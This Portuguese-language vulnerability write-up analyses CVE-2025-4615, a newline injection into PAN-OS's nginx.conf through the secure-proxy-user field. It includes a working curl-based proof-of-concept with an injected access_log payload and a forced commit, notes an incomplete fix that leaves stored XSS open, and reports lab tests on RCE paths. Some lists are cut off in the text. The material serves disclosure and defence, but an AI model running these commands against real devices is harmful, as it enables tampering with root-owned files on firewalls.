
cve-2025-4615 poc & deep dive
Vulnerabilidade: Neutralização Incorreta de Entrada na Interface Web de Gerenciamento do PAN-OS
Comunicado do Fornecedor: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (MÉDIO) — Integridade ALTA, Disponibilidade ALTA
CWE: CWE-83 (Neutralização Incorreta de Script em Atributos em uma Página Web)
CAPEC: CAPEC-165 (Manipulação de Arquivos)
Crédito: Visa Inc.
Data da Análise: 2026-03-26
CVE-2025-4615 é uma vulnerabilidade de injeção de nova linha no campo de configuração secure-proxy-user do PAN-OS da Palo Alto Networks. Um administrador autenticado pode injetar caracteres de nova linha (\n) no nome de usuário do proxy via API XML ou interface web. Durante o commit, este valor é gravado sem sanitização em /etc/nginx/nginx.conf, escapando de uma linha de comentário e injetando diretivas nginx arbitrárias.
Impacto:
access_log injetadaNota: A correção do fornecedor (remoção de caracteres de nova linha) é incompleta — o mesmo campo permanece vulnerável a Cross-Site Scripting armazenado (XSS) porque nenhuma codificação de saída ou lista de permissão de caracteres é aplicada.
O campo secure-proxy-user é definido no esquema do PAN-OS (schema.xml) como uma string simples sem sanitização de entrada:
<element name="secure-proxy-user" optional="yes" type="string"
help-string="Secure Proxy user name to use"/>
Nota: secure-proxy-server possui uma restrição regex (regex="^([0-9a-zA-Z.:/_-])+$"), mas secure-proxy-user não possui nenhuma. Há um limite de 31 caracteres, mas sem restrições de caracteres.
Durante o commit, o PAN-OS regenera /etc/nginx/nginx.conf a partir de um template (/etc/nginx/nginx.conf.tmpl). O template contém:
#pan_proxy_comment %s
O placeholder %s é preenchido pela função da biblioteca libpanmp_mp.so que concatena servidor proxy, nome de usuário e senha criptografada em uma única string. Na versão vulnerável, os caracteres de nova linha no nome de usuário são passados sem alterações.
Quando secure-proxy-user contém a\naccess_log /tmp/pwn3;\n#, o nginx.conf gerado se torna:
#pan_proxy_comment 8.8.8.9 a — Comment (harmless)
access_log /tmp/pwn3; — INJECTED DIRECTIVE (executed by nginx!)
# -AQ==encrypted_password== — Password commented out by injected #
A linha 1 é um comentário. A linha 2 é uma diretiva nginx válida no nível do bloco http. A linha 3 é neutralizada pelo caractere # do atacante.
O processo mestre do nginx é executado como root. A diretiva access_log faz com que o nginx abra/crie o arquivo de destino como root. Isso permite:
Na versão corrigida (11.1.13), o gravador de configuração remove caracteres de nova linha do nome de usuário do proxy antes de gravá-lo no nginx.conf. O mesmo valor malicioso produz:
#pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==
Tudo permanece em uma linha, com segurança dentro do comentário #.
No entanto, essa correção é incompleta. Ela aborda apenas a injeção de nova linha. O campo secure-proxy-user ainda aceita caracteres arbitrários (incluindo ", <, >) sem codificação de saída, deixando o vetor de XSS armazenado totalmente aberto. Veja unit-43-xss.
secure-proxy-server configurado (necessário para que o comentário do proxy apareça)curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"
# Payload: "a\naccess_log /tmp/pwn3;\n#"
# Total: 26 characters (within 31-char limit)
# Injects: access_log /tmp/pwn3; — creates /tmp/pwn3 as root
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"
Após o commit ser concluído (~30s):
/tmp/pwn3 é criado com propriedade rootnginx -t -c /etc/nginx/nginx.conf relata: syntax is okO valor não sanitizado de secure-proxy-user se propaga para vários arquivos:
Os gravadores do curlrc (/root/.curlrc) e wgetrc (/root/.wgetrc) removem novas linhas, mesmo na versão vulnerável. O gravador do nginx.conf foi o único caminho que não sanitizou.
Testes extensivos de 11 vetores de ataque confirmaram que RCE autônomo em nível de SO a partir de CVE-2025-4615 isoladamente não é alcançável no PAN-OS 11.1.6-h7 com nginx 1.20.1. Os três bloqueadores críticos:
\x0A — impede a injeção bruta de novas linhas em arquivos de log, bloqueando a injeção em cron apesar da tolerância do vixie-cron a linhas de lixo (confirmado em laboratório: cron executa linhas válidas cercadas por lixo)log_format + access_log para obter controle de conteúdo sobre arquivos gravadosO "executar comandos arbitrários" do comunicado provavelmente se refere a diretivas nginx arbitrárias, não à execução de comandos a nível de SO. Isso é consistente com o CVSS VC:N (nenhum impacto na confidencialidade) e a natureza da correção.
Se algum dos três bloqueadores estivesse ausente, RCE seria trivialmente alcançável via injeção em cron.
Análise realizada em ambiente de laboratório isolado com PAN-OS 11.1.6-h7 (vulnerável) e PAN-OS 11.1.13 (corrigido).
| File | Impact |
|---|
/etc/nginx/nginx.conf | Crítico — injeção de diretiva nginx |
/opt/pancfg/tmp/.tdb_conf.xml | Configuração do DB de template (injeção de XML) |
/opt/pancfg/mgmt/audit/cfg-audit.xml,v | Corrupção do trilha de auditoria |
/opt/pancfg/mgmt/replaydb/replay.db | Corrupção do banco de replay |
| Configurações de daemon geradas por XSL (authd, cord, useridd, etc.) | Valor XML preservado com novas linhas |